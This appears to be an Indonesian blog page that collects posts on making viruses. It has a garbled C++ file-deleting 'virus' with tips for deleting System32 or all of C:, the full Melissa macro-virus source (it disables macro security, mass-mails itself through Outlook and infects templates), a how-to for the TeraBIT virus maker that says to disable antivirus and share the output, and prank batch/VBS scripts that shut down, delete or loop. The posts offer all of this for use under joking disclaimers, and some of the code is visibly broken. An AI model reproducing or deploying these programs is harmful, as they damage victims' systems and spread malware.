Source Code Virus Sederhana Dari C++

Sebuah coding sederhana yang fungsinya menghapus semua file tanpa diketahui..
Script ini hanya menghapus file.txt yang kosong saja di drive C: ..
Ciri khas aplikasi ini membuat suara seperti “Beep” pada bios kompi tersebut…  cekidot gan ^^
Selanjutnya copy scrip ini pada complier

# Include <iostream.h>
#include <widows.h>
#include <winable>
#include <stdio.h>
using namespace std;
int main;
{
FreeConsle ();// membuat program yang dijalankan tanpa konsol sehingga pengguna tidak tahu apa yang akan terjadi, ini adalah opsional.
Beep (800.300); / / UNTUK bunyi Beep (ffrequency, durasi 1000 = 1 detik)
Sleep(3000); Sleep (3000);
Beep(800,300); Beep (800.300);
Beep(2400,300); Beep (2400,300);
Beep(800,300); Beep (800.300);
Beep(2400,300); Beep (2400,300);
Beep(800,300); Beep (800.300);
Beep(2400,300); Beep (2400,300);
Beep(800,300); Beep (800.300);
Beep(2400,300); Beep (2400,300);
menghapus ("C: \ \ file.txt" / * ya \ \ tidak \ setelah C :*/);
return 0; return 0;
}

setelah di pake akan terdengar serangkaian bunyi beep (bukan dari speeker tp dari BIOS) dan akan menghapus file txt.
kita jg dapat mengedit agar dapat digunakan untuk menghapus sistem32 di kompie,

menghapus   (C: \ \ misalnya);

Segala yg ada di direktori C: akan ke delete ^^
Jadikan ini sebagai bahan pembelajaran,jangan di gunakan untuk kejahatan atau jailin kompie temen/warnet,tapi kalo kepepet ya gpp sih….  :D

Read More

Source Code Virus Melissa

Dulu virus yang satu ini sempat menggemparkan bagi pengguna PC dan internet. dan
pada bulan Maret 1999, virus Melissa begitu kuatnya sehingga memaksa Microsoft dan sejumlah perusahaan raksasa lainnya untuk benar-benar mematikan koneksi e-mail mereka sampai virus dapat diatasi.
dan virus melissa sempat masuk daftar 10 virus paling berbahaya…

silakan baca-baca disini http://www.scribd.com/doc/62467890/10-Virus-Paling-Berbahaya

Kebetulan source code virus melissa sdh lama nangkring di hardisk saya, jadi sebagai referensi atau pembelajaran bagi yg ingin tau lebih dalam lagi virus melissa ane bagiin source codenya.

// Melissa Virus Source Code
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Mic*ft\Office\9.0\Word\Security”, “Level”) <> “”
Then
CommandBars(“Macro”).Controls(“Security…”).Enabled = False
System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Mic*ft\Office\9.0\Word\Security”, “Level”) = 1&
Else
CommandBars(“Tools”).Controls(“Macro”).Enabled = False
Options.ConfirmConversions = (1 – 1): Options.VirusProtection = (1 – 1):
Options.SaveNormalPrompt = (1 – 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject(“Outlook.Application”)
Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”)
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Mic*ft\Office\”, “Melissa?”) <> “… by David L. Smith”
Then
If UngaDasOutlook = “Outlook” Then
DasMapiName.Logon “profile”, “password”
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = “Important Message From ” &
Application.UserName
BreakUmOffASlice.Body = “Here is that document you asked for … don’t
show anyone else;-)”
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = “”
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString(“”, “HKEY_CURRENT_USER\Software\Mic*ft\Office\”,
“Melissa?”) = “… by Kwyjibo”
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> “Melissa” Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = “Melissa”
DoAD = True
End If
If NTI1.Name <> “Melissa” Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = “Melissa”
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = “”
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (“Private Sub Document_Close()”)
Do While ADI1.CodeModule.Lines(BGN, 1) <> “”
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = “”
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (“Private Sub Document_Open()”)
Do While NTI1.CodeModule.Lines(BGN, 1) <> “”
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, “Document”) =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, “Document”) <> False) Then
ActiveDocument.Saved = True: End If
‘WORD/Melissa written by Kwyjibo
‘Works in both Word 2000 and Word 97
‘Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
‘Word -> Email | Word 97 <–> Word 2000 … it’s a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText ” Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters.  Game’s over.
I’m outta here.”
End Sub

Kalo mau tau lebih dalam lagi tentang virus ini monggo ke TKP

Read More

Membuat Virus Menggunakan TeraBIT

Siapa bilang membuat virus itu susah ?
Sekarang anda bisa membuat virus dari yang paling simple sampe Trojan yang dapat merusak sistem.
Oke, skrg saya akan beri penjelasannya dulu………  Cekidot gan……

1. Informasi Software:

• Software ini dibuat oleh orang Iran. berita tersebut juga belum pasti kebenarannya, tetapi saya mencoba search di google.com dan saya mendapat info yang menyebutkan bahwa software TeraBit Virus Maker adalah asli buatan Iran, dan itu pun dalam versi 3.1 . Dalam versi 3.1 sampai yang sebelumnya, software ini belum support untuk Windows 7, hanya support pada Sistem Operasi sebelum Windows 7, seperti: Windows XP,Vista. Disini saya memiliki Software TeraBit Virus Maker versi 3.2 yang telah support dengan Windows 7.

2. Fungsi Software:

• Software ini berfungsi untuk membuat virus secara instan dengan kemampuan yang bisa kita pilih sendiri sehingga user dapat menggunakannya dengan mudah dan cepat. Di dalam software tersebut telah disediakan fitur-fitur yang bisa kita gunakan dalam pembuatan virus, ada 54 fitur yang bisa kita gunakan, saya hanya akan menyebutkan 15 fitur saja dan untuk fitur yang lain bisa dilihat di gambar. 15 fitur itu adalah:

1. Avoid Opening Calculator
2. Avoid Opening Copy,Move Window
3. Avoid Opening Gpedit
4. Avoid Opening Media Player
5. Avoid Opening Mozzila Firefox
6. Avoid Opening MsConfig
7. Avoid Opening Notepad
8. Avoid Opening Wordpad
9. Avoid Opening Yahoo Messenger
10. Add 30 User Accounts to Windows
11. Always Clean Clipboard
12. Always Log Off
13. Close Internet Explorer Every 10 sec
14. Delete All Files In Desktop
15. Delete All Files In My Documents

File virus ini ber-ekstensi *.exe . Jadi, ketika file virus ini dieksekusi, maka fitur-fitur yang telah ditambahkan, akan berjalan dan mengubah pengaturan system computer anda sesuai dengan fitur yang anda pilih.
Dan ada item-item yang bisa digunakan untuk melengkapi kesempurnaan dari virus yang anda buat, seperti:

• Binder berfungsi untuk mengeksekusi/menjalankan file yang kita kaitkan dengan virus yang anda buat, file yang bisa dikaitkan bisa dalam format apa saja, sperti file gambar, file word, exel, powerpoint, music, notepad, dan lain-lain.

• Fake Error Message berfungsi untuk memunculkan pesan palsu yang kita buat sendiri, dan sub-itemnya ada title, message, dan type. Title isi judul pesan, Message isi dengan pesan kalian sendiri, dan type, pilih tipe yang anda inginkan.

• Run Custom Command (ini belum saya coba sebelumnya)

• Add [ ] fake KB(s) to virus berfungsi untuk menambahkan kapasitas palsu ke dalam file virus tersebut.

• File name after install adalah file yang sebenarnya berjalan, saat file palsu tersebut dieksekusi, disana terdapat tipe/ekstensi *.exe yang bisa digunakan.

• File Icon adalah item yang digunakan untuk memilih icon file virus tersebut.

• File Name adalah item yang digunakan untuk memberi nama pada file tersebut.

• Run Virus with Windows adalah item yang berfungsi untuk menjalankan file pada windows.

• [R] adalah tombol reset, untuk mereset ulang pengaturan yang telah dipilih ke pengaturan defaultnya

• Create Virus berfungsi untuk membuat file virus yang telah kita rancang sebelumnya.

3. Cara Menggunakan Software:

1. Install deepfreeze untuk menjaga agar komputer anda aman.
2. Disable Antivirus anda, karena software ini dianggap sebagai virus oleh antivirus.
3. Jalankan Software tVirusMaker.exe
4. Pilih/ceklist fitur-fitur yang telah disediakan dan pilih item-item yang akan digunakan.
5. Terakhir anda klik Create Virus dan simpan ke direktori anda.
6. File virus siap dijalankan. (*dan bagi-bagi ke teman-teman anda, ‘hahahah…hanya saran’*)

4. Download Software :
Link Download —> TERABIT VIRUS MAKER 3.2

Virus-virus ini juga sangat mudah terdeteksi oleh antivirus, kebanyakan akan berhasil apabila target korban tidak menggunakan antivirus / antivirusnya disable. Tetapi tidak ada salahnya untuk dicoba kan?
Selamat mencoba & jangan disalah gunakan

Read More

Membuat Virus Nakal Sederhana Dari Notepad

ini adalah cara membuat virus yg sederhana saya rasa semua orang bisa melakukannya!!
hanya dengan notepad dan kemampuan copy-paste anda sudah bisa!!
langsung aja ok!!

1. Message yg muncul terus menerus
cara nya buka notepad lalu masukan script di bawah ini :

@ECHO off

:<br />

Begin<br />

msg * Lagi ngapain ?<br />

msg * Hayo buka apa ?<br />

msg * Nanti dimarahin ama mak loe<br />

msg * Makannya jangan sembrono !<br />

msg * minta bantuan gih sono !<br />

msg * Udah instal ulang aja !!!!<br />

msg * tit............................

GOTO BEGIN</div>

bisa dirubah sesuai keinginan anda!
simpan dengan berekstensi .bat contoh jahil.bat


2.  pertanyaan menjebak
script nya

@echo off

title quiz hari ini 

:menu

cls

echo jika kamu kena virus apa

yang kamu lakukan

pause

echo pilih yang mana:

echo 1. matiin computer

echo 2. format aja

echo 3. bingung ahh

set input=nothing

set /p input=Choice:

if %input%==1 shutdown -s -t

30

if %input%==2 del c:\xxx

if %input%==3 @ECHO off

msg * muka lo rusak

msg * ngaca dulu gih

msg * hayo lo,cpu lu gw acak2

msg * ud install ulang aja

msg * biar masalah nya kelar

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

simpan dengan ekstensi .bat contoh contoh quiz.bat

3. Membuka notepad terus-menerus
script nya

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

sama simpan dengan ekstensi .bat

4. komputer mati sendiri dan ngirim message

script nya

Set wshShell

=wscript.CreateObject

("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

simpan dengan ekstensi .vbs

5. buka tutup cd room terus menerus

script nya

Set oWMP = CreateObject

("WMPlayer.OCX.7")

Set colCDROMs =

oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

simpan dengan ekstensi .vbs

Selamat mencoba dan semoga bermanfaat tapi jangan di gunakan untuk kejahatan dan balas dendam, ya

Read More